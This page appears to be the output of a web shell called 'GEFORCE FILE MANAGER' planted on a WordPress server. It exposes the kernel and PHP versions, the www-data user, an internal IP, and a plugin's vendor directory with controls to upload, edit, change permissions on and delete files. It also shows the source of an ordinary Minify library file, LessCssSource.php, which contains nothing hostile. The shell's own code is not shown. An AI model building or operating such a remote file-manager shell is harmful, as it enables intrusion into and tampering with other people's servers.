[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
wp-optimize
/
vendor
/
mrclay
/
minify
/
lib
/
Minify
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 CSS
SET
[ DEL ]
📁 Cache
SET
[ DEL ]
📁 Controller
SET
[ DEL ]
📁 HTML
SET
[ DEL ]
📁 JS
SET
[ DEL ]
📁 Logger
SET
[ DEL ]
📁 Source
SET
[ DEL ]
📄 App.php
9,765 B
SET
[ EDIT ]
|
[ DEL ]
📄 Build.php
2,670 B
SET
[ EDIT ]
|
[ DEL ]
📄 CSS.php
3,259 B
SET
[ EDIT ]
|
[ DEL ]
📄 CSSmin.php
2,733 B
SET
[ EDIT ]
|
[ DEL ]
📄 CacheInterface.php
1,153 B
SET
[ EDIT ]
|
[ DEL ]
📄 ClosureCompiler.php
6,170 B
SET
[ EDIT ]
|
[ DEL ]
📄 CommentPreserver.php
2,617 B
SET
[ EDIT ]
|
[ DEL ]
📄 Config.php
1,063 B
SET
[ EDIT ]
|
[ DEL ]
📄 ControllerInterface.php
411 B
SET
[ EDIT ]
|
[ DEL ]
📄 DebugDetector.php
784 B
SET
[ EDIT ]
|
[ DEL ]
📄 Env.php
3,211 B
SET
[ EDIT ]
|
[ DEL ]
📄 HTML.php
8,318 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImportProcessor.php
7,468 B
SET
[ EDIT ]
|
[ DEL ]
📄 LessCssSource.php
2,890 B
SET
[ EDIT ]
|
[ DEL ]
📄 Lines.php
6,378 B
SET
[ EDIT ]
|
[ DEL ]
📄 NailgunClosureCompiler.php
2,801 B
SET
[ EDIT ]
|
[ DEL ]
📄 Packer.php
804 B
SET
[ EDIT ]
|
[ DEL ]
📄 ScssCssSource.php
4,142 B
SET
[ EDIT ]
|
[ DEL ]
📄 ServeConfiguration.php
1,451 B
SET
[ EDIT ]
|
[ DEL ]
📄 Source.php
5,451 B
SET
[ EDIT ]
|
[ DEL ]
📄 SourceInterface.php
1,428 B
SET
[ EDIT ]
|
[ DEL ]
📄 SourceSet.php
590 B
SET
[ EDIT ]
|
[ DEL ]
📄 YUICompressor.php
4,633 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: LessCssSource.php
<?php class Minify_LessCssSource extends Minify_Source { /** * @var Minify_CacheInterface */ private $cache; /** * Parsed lessphp cache object * * @var array */ private $parsed; /** * @inheritdoc */ public function __construct(array $spec, Minify_CacheInterface $cache) { parent::__construct($spec); $this->cache = $cache; } /** * Get last modified of all parsed files * * @return int */ public function getLastModified() { $cache = $this->getCache(); return $cache['lastModified']; } /** * Get content * * @return string */ public function getContent() { $cache = $this->getCache(); return $cache['compiled']; } /** * Get lessphp cache object * * @return array */ private function getCache() { // cache for single run // so that getLastModified and getContent in single request do not add additional cache roundtrips (i.e memcache) if (isset($this->parsed)) { return $this->parsed; } // check from cache first $cache = null; $cacheId = $this->getCacheId(); if ($this->cache->isValid($cacheId, 0)) { if ($cache = $this->cache->fetch($cacheId)) { $cache = unserialize($cache); } } $less = $this->getCompiler(); $input = $cache ? $cache : $this->filepath; $cache = $less->cachedCompile($input); if (!is_array($input) || $cache['updated'] > $input['updated']) { $cache['lastModified'] = $this->getMaxLastModified($cache); $this->cache->store($cacheId, serialize($cache)); } return $this->parsed = $cache; } /** * Calculate maximum last modified of all files, * as the 'updated' timestamp in cache is not the same as file last modified timestamp: * @link https://github.com/leafo/lessphp/blob/v0.4.0/lessc.inc.php#L1904 * @return int */ private function getMaxLastModified($cache) { $lastModified = 0; foreach ($cache['files'] as $mtime) { $lastModified = max($lastModified, $mtime); } return $lastModified; } /** * Make a unique cache id for for this source. * * @param string $prefix * * @return string */ private function getCacheId($prefix = 'minify') { $md5 = md5($this->filepath); return "{$prefix}_less2_{$md5}"; } /** * Get instance of less compiler * * @return lessc */ private function getCompiler() { $less = new lessc(); // do not spend CPU time letting less doing minify $less->setPreserveComments(true); return $less; } }